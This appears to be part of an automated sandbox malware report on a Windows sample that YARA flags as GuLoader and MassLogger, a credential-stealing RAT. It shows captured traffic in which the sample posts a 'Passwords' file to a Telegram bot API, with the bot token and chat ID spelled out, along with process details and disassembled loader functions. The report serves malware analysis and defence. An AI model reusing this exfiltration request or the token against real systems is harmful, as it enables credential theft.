2025-01-10 20:41:57 UTC	536	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 38 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 31 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44687,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541717,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	50030	149.154.167.220	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:58 UTC	296	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd33815fe28e68 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:41:58 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 38 31 35 66 65 32 38 65 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd33815fe28e68Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:58 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:58 GMT Content-Type: application/json Content-Length: 536 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:58 UTC	536	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 38 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 31 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44688,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541718,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	50032	149.154.167.220	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:42:00 UTC	296	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd339a0f1b022a Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:42:00 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 39 61 30 66 31 62 30 32 32 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd339a0f1b022aContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:42:00 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:42:00 GMT Content-Type: application/json Content-Length: 536 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:42:00 UTC	536	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 39 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 32 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44690,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541720,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	50034	149.154.167.220	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:42:01 UTC	296	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd33b014664df2 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:42:01 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 62 30 31 34 36 36 34 64 66 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd33b014664df2Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:42:02 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:42:02 GMT Content-Type: application/json Content-Length: 536 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:42:02 UTC	536	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 39 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 32 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44692,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541722,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	50036	149.154.167.220	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:42:03 UTC	296	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd33cc7ddfd09c Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:42:03 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 63 63 37 64 64 66 64 30 39 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd33cc7ddfd09cContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:42:03 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:42:03 GMT Content-Type: application/json Content-Length: 537 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:42:03 UTC	537	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 39 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 32 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44694,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541723,"document":{"file_name":"U

Target ID:	0
Start time:	15:39:56
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\xXUnP7uCBJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\xXUnP7uCBJ.exe"
Imagebase:	0x400000
File size:	1'007'802 bytes
MD5 hash:	37CAF3903448F4B7D38A4D8E180F54DD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2212629078.0000000003E3C000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:40:48
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\xXUnP7uCBJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\xXUnP7uCBJ.exe"
Imagebase:	0x400000
File size:	1'007'802 bytes
MD5 hash:	37CAF3903448F4B7D38A4D8E180F54DD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000005.00000002.2980898260.000000003682B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2980898260.000000003682B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000005.00000002.2980898260.000000003682B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	20.3%
Dynamic/Decrypted Code Coverage:	13.4%
Signature Coverage:	19.5%
Total number of Nodes:	1599
Total number of Limit Nodes:	38

Executed Functions

Function 004034A5 Relevance: 84.4, APIs: 32, Strings: 16, Instructions: 410
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004034C8
GetVersion.KERNEL32 ref: 004034CE
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403501
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 0040353E
OleInitialize.OLE32(00000000), ref: 00403545
SHGetFileInfoW.SHELL32(004216E8,00000000,?,000002B4,00000000), ref: 00403561
GetCommandLineW.KERNEL32(00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 00403576
CharNextW.USER32(00000000,00435000,00000020,00435000,00000000,?,00000006,00000008,0000000A), ref: 004035AE

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 004036E8
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000006,00000008,0000000A), ref: 004036F9
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 00403705
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 00403719
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 00403721
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 00403732
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 0040373A
DeleteFileW.KERNELBASE(1033,?,00000006,00000008,0000000A), ref: 0040374E

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 00403819
ExitProcess.KERNEL32 ref: 0040383A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040384D
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A328,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040385C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403867
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403873
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 0040388F
DeleteFileW.KERNEL32(00420EE8,00420EE8,?,0042B000,00000008,?,00000006,00000008,0000000A), ref: 004038E9
CopyFileW.KERNEL32(C:\Users\user\Desktop\xXUnP7uCBJ.exe,00420EE8,00000001,?,00000006,00000008,0000000A), ref: 004038FD
CloseHandle.KERNEL32(00000000,00420EE8,00420EE8,?,00420EE8,00000000,?,00000006,00000008,0000000A), ref: 0040392A
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403959
OpenProcessToken.ADVAPI32(00000000), ref: 00403960
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403975
AdjustTokenPrivileges.ADVAPI32 ref: 00403998
ExitWindowsEx.USER32(00000002,80040002), ref: 004039BD
ExitProcess.KERNEL32 ref: 004039E0

Strings

TMP, xrefs: 00403735
C:\Users\user\AppData\Local\Iw\Antndelsens, xrefs: 004037F6
TEMP, xrefs: 0040372D
C:\Users\user\Desktop, xrefs: 0040386C, 00403871, 0040389E
NSIS Error, xrefs: 00403567
.tmp, xrefs: 00403861
~nsu, xrefs: 00403845
SeShutdownPrivilege, xrefs: 0040396F
Error launching installer, xrefs: 004037D0
\Temp, xrefs: 004036FF
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004034BC
C:\Users\user\AppData\Local\Temp\, xrefs: 004036DD, 004036E2, 004036F8, 00403704, 00403713, 00403720, 0040372C, 00403734, 0040384A, 0040385B, 00403866, 00403872, 0040387F, 0040388E, 0040393F
Low, xrefs: 0040371B
1033, xrefs: 00403749
UXTHEME, xrefs: 004034F5, 004034FA, 00403500
C:\Users\user\Desktop\xXUnP7uCBJ.exe, xrefs: 004038F8

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: .tmp$1033$C:\Users\user\AppData\Local\Iw\Antndelsens$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\xXUnP7uCBJ.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-3702708986
Opcode ID: e11a689ec9d555b5fe2f652178506891ef29a00bc77516d82e2752c077597b55
Instruction ID: dafc1af32610b20ef8647c0cf6a3faef20d76686829591872cbc6ab955e55f97
Opcode Fuzzy Hash: e11a689ec9d555b5fe2f652178506891ef29a00bc77516d82e2752c077597b55
Instruction Fuzzy Hash: 4DD1F571600310ABE7206F759D49A3B3AECEB4070AF50443FF981B62D2DB7D8956876E

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404DE4
GetDlgItem.USER32(?,00000408), ref: 00404DEF
GlobalAlloc.KERNEL32(00000040,?), ref: 00404E39
LoadBitmapW.USER32(0000006E), ref: 00404E4C
SetWindowLongW.USER32(?,000000FC,004053C4), ref: 00404E65
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404E79
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404E8B
SendMessageW.USER32(?,00001109,00000002), ref: 00404EA1
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404EAD
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404EBF
DeleteObject.GDI32(00000000), ref: 00404EC2
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404EED
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404EF9
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404F8F
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404FBA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FCE
GetWindowLongW.USER32(?,000000F0), ref: 00404FFD
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040500B
ShowWindow.USER32(?,00000005), ref: 0040501C
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405119
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040517E
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405193
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004051B7
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004051D7
ImageList_Destroy.COMCTL32(?), ref: 004051EC
GlobalFree.KERNEL32(?), ref: 004051FC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405275
SendMessageW.USER32(?,00001102,?,?), ref: 0040531E
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040532D
InvalidateRect.USER32(?,00000000,00000001), ref: 0040534D
ShowWindow.USER32(?,00000000), ref: 0040539B
GetDlgItem.USER32(?,000003FE), ref: 004053A6
ShowWindow.USER32(00000000), ref: 004053AD

Strings

, xrefs: 00405385
M, xrefs: 00404F76
N, xrefs: 00405057

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: fb644b25ca39ae204efa7e1d1243337108994715b0d322cb34e58838b66aab8b
Instruction ID: 7f687e55a7f93217ddba54fde82f382d197ef8b4c31ab339cf60f2545021b201
Opcode Fuzzy Hash: fb644b25ca39ae204efa7e1d1243337108994715b0d322cb34e58838b66aab8b
